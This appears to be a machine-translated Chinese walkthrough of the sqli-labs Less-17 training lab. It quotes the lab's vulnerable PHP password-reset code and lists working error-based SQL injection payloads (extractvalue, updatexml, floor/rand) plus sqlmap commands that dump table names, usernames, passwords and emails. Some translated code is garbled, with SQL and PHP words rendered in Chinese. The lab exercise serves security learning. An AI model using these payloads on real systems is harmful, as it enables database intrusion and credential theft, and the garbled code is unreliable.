文章目录
Less_17 Inject更新错误报告Inject手动注入工具
Less_17 update报错注入
sqli-labs(1-65)海关流程详解- CSDN博客
查看页面源代码。有一个办法可以解决这个问题。
根据该页面,这是一个密码重置页面。这意味着您已登录系统,并且您的用户名固定为Dhakkan。查看源代码。
function check_input($value) //检查输入的用户名
{
if(!empty($value)) //如果用户名不为空,则执行以下判断
{
//截断(见评论)
$value=substr($value,0,15); //subtr()是截取账户名前15个字符的函数
}
//如果启用了魔术引号,则去除斜杠
if (get_magic_quotes_gpc()) //该函数是否开启,如果开启则进入以下判断
//这个函数的作用是给(\’ \’/null)特殊字符添加一个反斜杠转义符
{
$value=tripslashes($value); //删除反斜杠。
}
//如果不是数字,则用引号括起来
if (!ctype_digit($value)) //uname 如果字符串不是数字,则转义其中的特殊字符
{
$value=\’\’ .mysql_real_escape_string($value) \’\’;
}
else //对于数字
{
$value=intval($value); //转换为整数
}
返回$值。
}
//获取变量
if(isset($_POST[\’uname\’]) isset($_POST[\’passwd\’]))
{
//检查uname 不可注入
$uname=check_input($_POST[\’uname\’]);
$passwd=$_POST[\’passwd\’];
get_magic_quotes_gpc() 获取magic_quotes_gpc 的当前配置选项设置。
tripslashes() 返回一个带引号的字符串,其中删除了引号和转义反斜杠(例如,将\\\’ 转换为\’)。双反斜杠(\\\\) 转换为单反斜杠(\\)。
ctype_digital() 检测数字
mysql_real_escape_string 转义字符串中的特殊字符以在SQL 语句中使用。
intval 获取变量的整数值
/连接性
@$sql=\’从用户中选择用户名和密码WHERE username=$uname LIMIT 0,1\’;
$结果=mysql_query($sql);
$row=mysql_fetch_array($结果);
//回显$row;
如果($行)
{
//echo \’字体颜色=\’#0000ff\’\’;
$row1=$row[\’用户名\’];
//echo \’您的登录名:\’。
$update=\’更新用户SET 密码=\’$passwd\’ WHERE username=\’$row1\’\’;
mysql_query($更新);
回声“br”;
访问数据库并根据您提供的帐户名检查用户名和密码,如果帐户名正确,请将密码更改为您输入的密码。这意味着你不能直接执行SQL注入。 uname被过滤了,但password没有被过滤,所以可以使用密码作为注入点,但用户名必须输入正确。
可以得到admin是库中的用户名
其实也可以尝试上一个问题的方法,但是注入会失败。
示例:passwd=adminsubmit=Submituname=admin\’))#
解析后单引号注入
手工注入
或使用错误注入
事实证明,有三种方法可以注入错误
我已经在使用上面的两个了
即extractvalue()错误注入、updatexml()错误注入、group by()错误注入。
1\’ and (extractvalue(1,concat(0x5c,version(),0x5c)))#爆炸版本
1\’ and (extractvalue(1,concat(0x5c,database(),0x5c)))# 展开数据库
1\’ and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))#爆表名
1\’ and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=\’users\’),0x5c)))#
分解字段名称
1\’ and (extractvalue(1,concat(0x5c,(selectpasswordfrom(selectpasswordfromuserswhereusername=\’admin1\’))b),0x5c)))# 爆炸性字段内容此格式适用于mysql 数据库。
1\’ and (extractvalue(1,concat(0x5c,(select group_concat(username,password) from users),0x5c)))# 提取字段内容。
123\’ and (updatexml(1,concat(0x5c,version(),0x5c),1))#爆炸版本
123\’ and (updatexml(1,concat(0x5c,database(),0x5c),1))# 展开数据库
123\’ and (updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c),1))#爆表名
123\’ and (updatexml(1,concat(0x5c,(从information_schema.columns 中选择group_concat(column_name),其中table_schema=\’security\’ 和table_name=\’users\’),0x5c),1))#
精选列表
123\’ and (updatexml(1,concat(0x5c,(从用户名=\’admin1\’中选择密码) b),0x5c),1))#
密码格式适用于mysql数据库。
只需展开其他表即可。接下来是电子邮件表。
123\’ and (updatexml(1,concat(0x5c,(从information_schema.columns 中选择group_concat(column_name),其中table_schema=\’security\’ 和table_name=\’emails\’),0x5c),1))#
1\’ and (updatexml (1,concat(0x5c,(select group_concat(id,email_id) from email),0x5c),1))# 展开字段内容。
123\’ and (select count(*) from information_schema.tables group by concat(database(),0x5c,floor(rand(0)*2)))# 展开数据库
123\’ and (select count(*) from information_schema.tables group by concat(version(),0x5c,floor(rand(0)*2)))# 展开数据库版本
1\’ and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e,floor(rand( 0)*2)))# 更改限制后的数字将表格逐一展开。
1\’ 和(select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,floor(rand(0 )*2)))# 展开所有表
1\’ and (select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=\’users\’),0x7e ,floor(rand(0)*2)))# 展开所有字段名称
1\’ and (select count(*) from information_schema.columns group by concat(0x7e,(select group_concat(username,password) from users),0x7e,floor(rand(0)*2)))# 所有字段名称展开
1\’ 和(select 1 from(select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(selectpassword from users where username=\’admin1\’),0x7e,floor(rand(0) * 2)))a)# 显示您的帐户密码。
工具注入
sqlmap -url \’http://192.168.0.107/sqli-labs/Less-18/\’ –cookie=\’PHPSESSID=938ba4d9befdd8411a15a447\’ –batch –user-agent=\’1\’ –dbs –data=\’uname=Dhakkanpasswd=1submit=提交\’ –级别=3 –风险=3
1. 有无注入点
python sqlmap.py -r \”响应包路径\”
2. 获取注入点的所有数据库
python sqlmap.py -r \”响应包路径\” –dbs
3.获取当前使用的数据库
python sqlmap.py -r \”响应包路径\” –current-db –batch
4. 获取数据库中的表。
python sqlmap.py -r \”响应包路径\” –table -D \”数据库名称\” –batch
5.获取表中字段信息
python sqlmap.py -r \”响应包路径\” –columns -T \”表名\” -D \”获取的数据库名\” –batch
6. 获取特定领域的信息
python sqlmap.py -r \”响应包路径\” –dump -C \”字段名称\” –columns -T \”表名称\” -D \”数据库名称\” –batch
7.您当前使用的账户
python sqlmap.py -r \”响应包路径\” –current-user
8. 列出所有使用的帐户
python sqlmap.py -r \”响应包路径\” users
9.Mysql登录账号和密码
python sqlmap.py -r “响应包路径” passwords
直接使用命令
python2 sqlmap.py -r 17.txt –batch -dbs
捕获数据包并将帖子文本放在17.txt 下方。
以上#Sqli相关内容来源仅供参考。相关信息请参见官方公告。
原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/93823.html